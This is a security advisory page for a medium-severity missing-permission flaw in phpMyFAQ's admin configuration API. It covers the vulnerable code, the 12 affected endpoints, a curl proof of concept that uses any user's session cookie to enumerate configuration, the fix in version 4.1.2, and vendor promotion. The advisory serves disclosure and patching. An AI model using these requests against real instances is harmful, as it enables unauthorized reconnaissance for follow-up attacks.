GHSA-rm98-82fr-mcfx — thorsten/phpmyfaq
MEDIUMGHSA-rm98-82fr-mcfx is a medium-severity (CVSS 4.3) CWE-862 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rm98-82fr-mcfx.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rm98-82fr-mcfx plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
thorsten/phpmyfaq🐘phpmyfaq/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
12 endpoints in ConfigurationTabController.php use userIsAuthenticated() (login-only check) instead of userHasPermission(PermissionType::CONFIGURATION_EDIT). This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.
Details
The ConfigurationTabController contains 15 public endpoints. Three of them (list, save, uploadTheme) correctly enforce CONFIGURATION_EDIT permission:
// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63
public function list(Request $request): Response
{
$this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct
// ...
}
The remaining 12 only check that the user is logged in:
// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353
public function translations(): Response
{
$this->userIsAuthenticated(); // ❌ Missing permission check
// ...
}
The difference between these two methods is significant:
// AbstractController.php:258 — login-only
protected function userIsAuthenticated(): void
{
if (!$this->currentUser->isLoggedIn()) {
throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
}
}
// AbstractController.php:317 — login + permission check
protected function userHasPermission(PermissionType $permissionType): void
{
if (!$this->currentUser->isLoggedIn()) {
throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
}
$currentUser = $this->currentUser;
if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) {
throw new ForbiddenException(/* ... */);
}
}
There is no middleware or router-level authorization — the Kernel (Kernel.php) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.
The 12 affected endpoints (all GET, all under /admin/api/):
| # | Method | Route | Info Exposed |
|---|---|---|---|
| 1 | translations() | /configuration/translations | Available languages + current language |
| 2 | templates() | /configuration/templates | Available themes + active theme |
| 3 | faqsSortingKey() | /configuration/faqs-sorting-key/{current} | FAQ sorting key options |
| 4 | faqsSortingOrder() | /configuration/faqs-sorting-order/{current} | FAQ sorting order |
| 5 | faqsSortingPopular() | /configuration/faqs-sorting-popular/{current} | Popular FAQ sorting |
| 6 | permLevel() | /configuration/perm-level/{current} | Permission model (basic/medium) |
| 7 | releaseEnvironment() | /configuration/release-environment/{current} | Dev/production environment |
| 8 | searchRelevance() | /configuration/search-relevance/{current} | Search relevance config |
| 9 | seoMetaTags() | /configuration/seo-metatags/{current} | SEO meta tag config |
| 10 | translationProvider() | /configuration/translation-provider/{current} | Translation service (DeepL, etc.) |
| 11 | mailProvider() | /configuration/mail-provider/{current} | Mail provider (SMTP, etc.) |
| 12 | cacheAdapter() | /configuration/cache-adapter/{current} | Cache backend (filesystem/redis/memcached) |
The translations() and templates() endpoints directly read from config/filesystem and expose current settings. The {current} endpoints render HTML <option> dropdowns where the caller-supplied value gets the selected attribute — an attacker can enumerate possible values to discover the current configuration.
PoC
# Step 1: Authenticate as any user (even one with no admin permissions)
# and obtain the session cookie (pmf_auth_XXXX)
# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission
# Enumerate available languages and current language setting
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/translations
# Enumerate available templates and which is active
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/templates
# Discover permission model by trying known values
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/perm-level/basic
# Discover release environment
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/release-environment/development
# Discover cache backend
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/cache-adapter/filesystem
# Discover mail provider
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/mail-provider/smtp
# Discover translation provider
curl -s -b 'pmf_auth_XXXX=<session>' \
https://target.example/admin/api/configuration/translation-provider/deepl
Expected: HTTP 403 Forbidden for a user without configuration_edit permission.
Actual: HTTP 200 with configuration data in HTML option format.
Impact
Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:
- The instance's permission model (basic vs. medium) — reveals access control architecture
- Whether the instance runs in development or production mode — development mode may expose debug info
- The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks
- The mail provider configuration — reveals infrastructure details
- Available and active templates/themes — aids in targeting template-specific vulnerabilities
- Translation provider (e.g., DeepL) — reveals third-party service integrations
While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same CONFIGURATION_EDIT permission as the list and save endpoints.
Recommended Fix
Replace $this->userIsAuthenticated() with $this->userHasPermission(PermissionType::CONFIGURATION_EDIT) in all 12 affected methods:
// In ConfigurationTabController.php — apply to all 12 methods
// Before (line 355, and equivalent in all others):
$this->userIsAuthenticated();
// After:
$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);
Affected methods: translations(), templates(), faqsSortingKey(), faqsSortingOrder(), faqsSortingPopular(), permLevel(), releaseEnvironment(), searchRelevance(), seoMetaTags(), translationProvider(), mailProvider(), cacheAdapter().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.1.2composer require thorsten/phpmyfaq:^4.1.2 |
| 🐘Packagist | phpmyfaq/phpmyfaq | all versions | 4.1.2composer require phpmyfaq/phpmyfaq:^4.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thorsten/phpmyfaq to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rm98-82fr-mcfx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rm98-82fr-mcfx can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rm98-82fr-mcfx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rm98-82fr-mcfx in your dependencies?
O3 Security finds GHSA-rm98-82fr-mcfx across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.